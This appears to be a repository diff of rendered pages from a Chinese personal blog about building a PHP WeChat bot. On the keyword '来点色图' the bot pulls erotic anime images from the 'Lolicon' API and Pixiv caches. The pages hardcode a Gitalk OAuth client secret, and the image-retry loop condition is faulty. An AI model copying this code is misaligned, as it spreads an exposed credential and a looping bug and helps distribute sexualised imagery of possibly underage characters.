<span class="k">if</span><span class="p">(</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'MSGTYPE'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'text'</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'CONTENT'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'来点色图'</span><span class="p">){</span>
<span class="k">echo</span> <span class="s1">'&lt;xml&gt;
&lt;ToUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/ToUserName&gt;
&lt;FromUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'TOUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/FromUserName&gt;
&lt;CreateTime&gt;'</span><span class="mf">.</span><span class="nb">time</span><span class="p">()</span><span class="mf">.</span><span class="s1">'&lt;/CreateTime&gt;
&lt;MsgType&gt;&lt;![CDATA[text]]&gt;&lt;/MsgType&gt;
&lt;Content&gt;&lt;![CDATA[开始发起请求,请耐心等待]]&gt;&lt;/Content&gt;
&lt;/xml&gt;'</span><span class="p">;</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://'</span><span class="mf">.</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_HOST'</span><span class="p">]</span><span class="mf">.</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'PHP_SELF'</span><span class="p">]</span><span class="mf">.</span><span class="s1">'?upap=1&amp;openid='</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">],</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'timeout'</span> <span class="o">=&gt;</span> <span class="mf">0.5</span><span class="p">))));</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s1">'&lt;xml&gt;
&lt;ToUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/ToUserName&gt;
&lt;FromUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'TOUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/FromUserName&gt;
&lt;CreateTime&gt;'</span><span class="mf">.</span><span class="nb">time</span><span class="p">()</span><span class="mf">.</span><span class="s1">'&lt;/CreateTime&gt;
&lt;MsgType&gt;&lt;![CDATA[text]]&gt;&lt;/MsgType&gt;
&lt;Content&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://www.tuling123.com/openapi/api'</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span> <span class="o">=&gt;</span> <span class="s1">'POST'</span><span class="p">,</span><span class="s1">'header'</span> <span class="o">=&gt;</span> <span class="s1">'Content-type:application/x-www-form-urlencoded'</span><span class="p">,</span><span class="s1">'content'</span> <span class="o">=&gt;</span> <span class="nb">http_build_query</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'key'</span> <span class="o">=&gt;</span> <span class="nv">$appkey</span><span class="p">,</span><span class="s1">'info'</span> <span class="o">=&gt;</span> <span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'CONTENT'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">],</span><span class="s1">'userid'</span> <span class="o">=&gt;</span> <span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">])))))),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'text'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/Content&gt;
&lt;/xml&gt;'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s1">'error'</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>2021.02.19更新当Lolicon API Key次数不够时会尝试不使用Key调用增加了缓存<code class="language-plaintext highlighter-rouge">access_token</code>的功能。另外以后我会自己搞一个图片API免得总是被这个每天只有300次调用的垃圾API所限制。 </p><p>
2021.02.21更新上次不知道怎么就脑残的用了调用次数只有500次的获取用户接口作为检查<code class="language-plaintext highlighter-rouge">access_token</code>的依据这次换了个没有上限的另外把session的回收时间改成了2个小时和接口对应。</p>
<h1 id="怎么用">
<a href="#怎么用"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 怎么用?
</h1>
<p><a href="/2021/02/06/wechatbot.html#%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95">上一篇</a>一样不过有一个不一样的地方就是这里需要一个Lolicon API Key如果没有的话好像限制非常高可能一天只能调用1-2次吧有API Key好像可以每天请求300次具体怎么用可以看<a href="https://api.lolicon.app/#/setu">他们的文档</a></p><p>
API Key的申请方式是去找他们的Telegram机器人<a href="https://t.me/loliconApiBot">@loliconApiBot</a>倒是还挺简单的申请出一个API和一个测试号可以供100人使用这一点还是挺不错的。 </p><p>
最后做好了就可以向测试号发送来点什么图?关键词可以自己在代码里改。 </p><p>
如果不想整图灵机器人也行,那个东西要实名还是挺麻烦的,不过这样聊天功能就不能正常工作了 <del>(谁用这个机器人是和聊天机器人聊天啊!)</del></p><p>
另外PHP空间很好申请的相比Python还是非常有性价比的至少可以不用租服务器。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>这次代码用了不少有意思的特性,比如通过<code class="language-plaintext highlighter-rouge">file_get_contents</code>直接上传文件以及PHP异步之类的这个异步的功能还是我自己想出来的哦现在在百度上都不一定能搜到我这样的方法。 </p><p>
总之PHP还是挺有意思的。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%BE%AE%E4%BF%A1"><em>微信</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E8%81%8A%E5%A4%A9"><em>聊天</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%9C%BA%E5%99%A8%E4%BA%BA"><em>机器人</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=PHP"><em>PHP</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-02-19-picbot.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/02/19/picbot.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/02/09/try2.html">
上一篇Mayx的产品测评
</a>
</span>
<br />
<span class="next">
<a href="/2021/02/23/picbotpro.html">
下一篇:快速自制微信图片机器人
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/02/19/picbot', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/02/19/picbot.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

415
2021/02/23/picbotpro.html Normal file
View File

@@ -0,0 +1,415 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>快速自制微信图片机器人 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="快速自制微信图片机器人" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="优化真的是很复杂啊……" />
<meta property="og:description" content="优化真的是很复杂啊……" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-02-23T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="快速自制微信图片机器人" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-02-23T00:00:00+08:00","datePublished":"2021-02-23T00:00:00+08:00","description":"优化真的是很复杂啊……","headline":"快速自制微信图片机器人","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/02/23/picbotpro.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/02/23/picbotpro.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/02/23/picbotpro.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-02-23T00:00:00+08:00">23 February 2021</time> - 字数统计4456 - 阅读大约需要14分钟 - Hits: <span id="/2021/02/23/picbotpro.html" class="visitors">Loading...</span></small>
<h1 class="p-name">快速自制微信图片机器人</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Tue, 23 Feb 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章讲述了作者自制微信图片发送机器人的经历包括了遇到的问题和解决过程。主要问题包括频繁获取微信access_token导致次数限制以及Lolicon API的调用次数限制。为了解决这些作者改进了代码设置了缓存来存储API返回的结果并创建了一个仓库来存储Pixiv API的缩略图。然而API中的图片数量较少这限制了可供调用的图片量。文章结尾提到将考虑使用其他图片资源作为替代。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#解决api调用次数过少的问题">解决API调用次数过少的问题</a></li><li><a href="#新的代码">新的代码</a></li><li><a href="#如何使用">如何使用?</a></li><li><a href="#结尾">结尾</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>优化真的是很复杂啊……<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>前段时间,我做出来了<a href="/2021/02/19/picbot.html">能发图片的机器人</a>做出来之后我拿给群友们体验但是很遗憾的是那个代码实在是不太行首先有2个问题第一是微信获取<code class="language-plaintext highlighter-rouge">access_token</code>的次数是有限的,我的第一版代码在每一次调用都去获取<code class="language-plaintext highlighter-rouge">access_token</code>,这样很快次数就会消耗光,后来我稍微改进了一下,设置了个缓存,结果呢,我检测的时候用了次数更少的接口……简直是太蠢了……之后呢?结果今天发现代码里有两个获取<code class="language-plaintext highlighter-rouge">access_token</code>的地方,缓存完全没起到作用…… </p><p>
总之上面的问题各种波折总算是解决好了,然后还有一个问题是我的图片来源是<a href="https://api.lolicon.app/setu">Lolicon API</a>然后调用限制是300次/天说实话对于一个人来说这个数量是够了但是如果有很多人像测试号最多能容纳100人那每天每人也就只有3次调用的机会。 </p><p>
那要怎么解决调用次数的问题呢?我首先想的就是缓存结果。</p>
<h1 id="解决api调用次数过少的问题">
<a href="#解决api调用次数过少的问题"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 解决API调用次数过少的问题
</h1>
<p>因为对于图片来说,基本上没有什么变化的信息,所以如果能将每一次的结果缓存的话其实也没有问题。所以说干就干,我单独开了一个仓库<a href="https://github.com/Mabbs/pixiv-index">pixiv-index</a>用来存储缓存的结果具体代码的话都在这个仓库里面每天会调用那个API直到用完次数。 </p><p>
考虑到大多数情况下也不需要原图所以这个API里的图片都只是长或宽最大为1200px的缩略图。 </p><p>
使用方法也很简单像PHP的话就可以这样写</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$raw</span><span class="o">=</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"https://mabbs.github.io/pixiv-index/index.json"</span><span class="p">),</span><span class="kc">true</span><span class="p">);</span>
<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://mabbs.github.io/pixiv-index/data/'</span><span class="mf">.</span><span class="nv">$raw</span><span class="p">[</span><span class="nb">rand</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nb">count</span><span class="p">(</span><span class="nv">$raw</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)]);</span>
</code></pre></div></div>
<p>虽然问题解决了但是我发现了一个巨大的缺陷我设计这个脚本的初心是想着它有非常多的数据供我调用结果我发现我错了之前没有仔细看他们的文档现在看了才发现我想要的图片他们也只有仅仅3361张而已实在是太少了而总共的图片数量也只有17285张而已即使那个站的数据也在以非常缓慢的速度增加…… </p><p>
我只是懒得去别的地方找而且因为这个API作者说那些图片都是Ta精心挑选的我才特意写了那个仓库的那些脚本还特地学了一下Github Action…… <del>(虽然实际上是抄的那个<a href="https://github.com/wangziyingwen/AutoApiSecret">给开发者账号续命的</a>那个仓库lol</del></p>
<h1 id="新的代码">
<a href="#新的代码"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 新的代码
</h1>
<p>解决了那些问题之后我又稍微优化了一下把聊天机器人的功能剥离掉了免得那个图灵机器人的API让人混乱。</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$appid</span><span class="o">=</span><span class="s1">'微信appID'</span><span class="p">;</span>
<span class="nv">$secret</span><span class="o">=</span><span class="s1">'微信appsecret'</span><span class="p">;</span>
<span class="nv">$token</span><span class="o">=</span><span class="s1">'和配置的Token配置一致即可'</span><span class="p">;</span>
<span class="nv">$source</span><span class="o">=</span><span class="s1">'https://i.pximg.net'</span><span class="p">;</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'session.gc_maxlifetime'</span><span class="p">,</span> <span class="mi">7200</span><span class="p">);</span>
<span class="nb">ignore_user_abort</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>
<span class="nb">set_time_limit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="nb">session_id</span><span class="p">(</span><span class="s1">'Storage'</span><span class="p">);</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'ip_list'</span><span class="p">]){</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]</span><span class="o">=</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&amp;appid='</span><span class="mf">.</span><span class="nv">$appid</span><span class="mf">.</span><span class="s1">'&amp;secret='</span><span class="mf">.</span><span class="nv">$secret</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'access_token'</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"upap"</span><span class="p">]){</span>
<span class="nb">define</span><span class="p">(</span><span class="s1">'MULTIPART_BOUNDARY'</span><span class="p">,</span> <span class="s1">'--------------------------'</span><span class="mf">.</span><span class="nb">microtime</span><span class="p">(</span><span class="kc">true</span><span class="p">));</span>
<span class="nv">$retry</span><span class="o">=</span><span class="mi">3</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="o">!</span><span class="nv">$picdata</span><span class="o">||</span><span class="nv">$retry</span><span class="o">&lt;=</span><span class="mi">0</span><span class="p">){</span>
<span class="nv">$raw</span><span class="o">=</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"https://mabbs.github.io/pixiv-index/index.json"</span><span class="p">),</span><span class="kc">true</span><span class="p">);</span>
<span class="nv">$picdata</span><span class="o">=</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$source</span><span class="mf">.</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://mabbs.github.io/pixiv-index/data/'</span><span class="mf">.</span><span class="nv">$raw</span><span class="p">[</span><span class="nb">rand</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nb">count</span><span class="p">(</span><span class="nv">$raw</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)]),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'url'</span><span class="p">],</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span> <span class="o">=&gt;</span> <span class="s1">'GET'</span><span class="p">,</span><span class="s1">'header'</span> <span class="o">=&gt;</span> <span class="s2">"referer: https://www.pixiv.net/"</span><span class="p">))));</span>
<span class="nv">$retry</span><span class="o">-=</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$context</span> <span class="o">=</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span>
<span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span>
<span class="s1">'method'</span> <span class="o">=&gt;</span> <span class="s1">'POST'</span><span class="p">,</span>
<span class="s1">'header'</span> <span class="o">=&gt;</span> <span class="s1">'Content-Type: multipart/form-data; boundary='</span><span class="mf">.</span><span class="no">MULTIPART_BOUNDARY</span><span class="p">,</span>
<span class="s1">'content'</span> <span class="o">=&gt;</span> <span class="s2">"--"</span><span class="mf">.</span><span class="no">MULTIPART_BOUNDARY</span><span class="mf">.</span><span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="s2">"Content-Disposition: filename=</span><span class="se">\"</span><span class="s2">image.jpg</span><span class="se">\"\r\n</span><span class="s2">"</span><span class="mf">.</span>
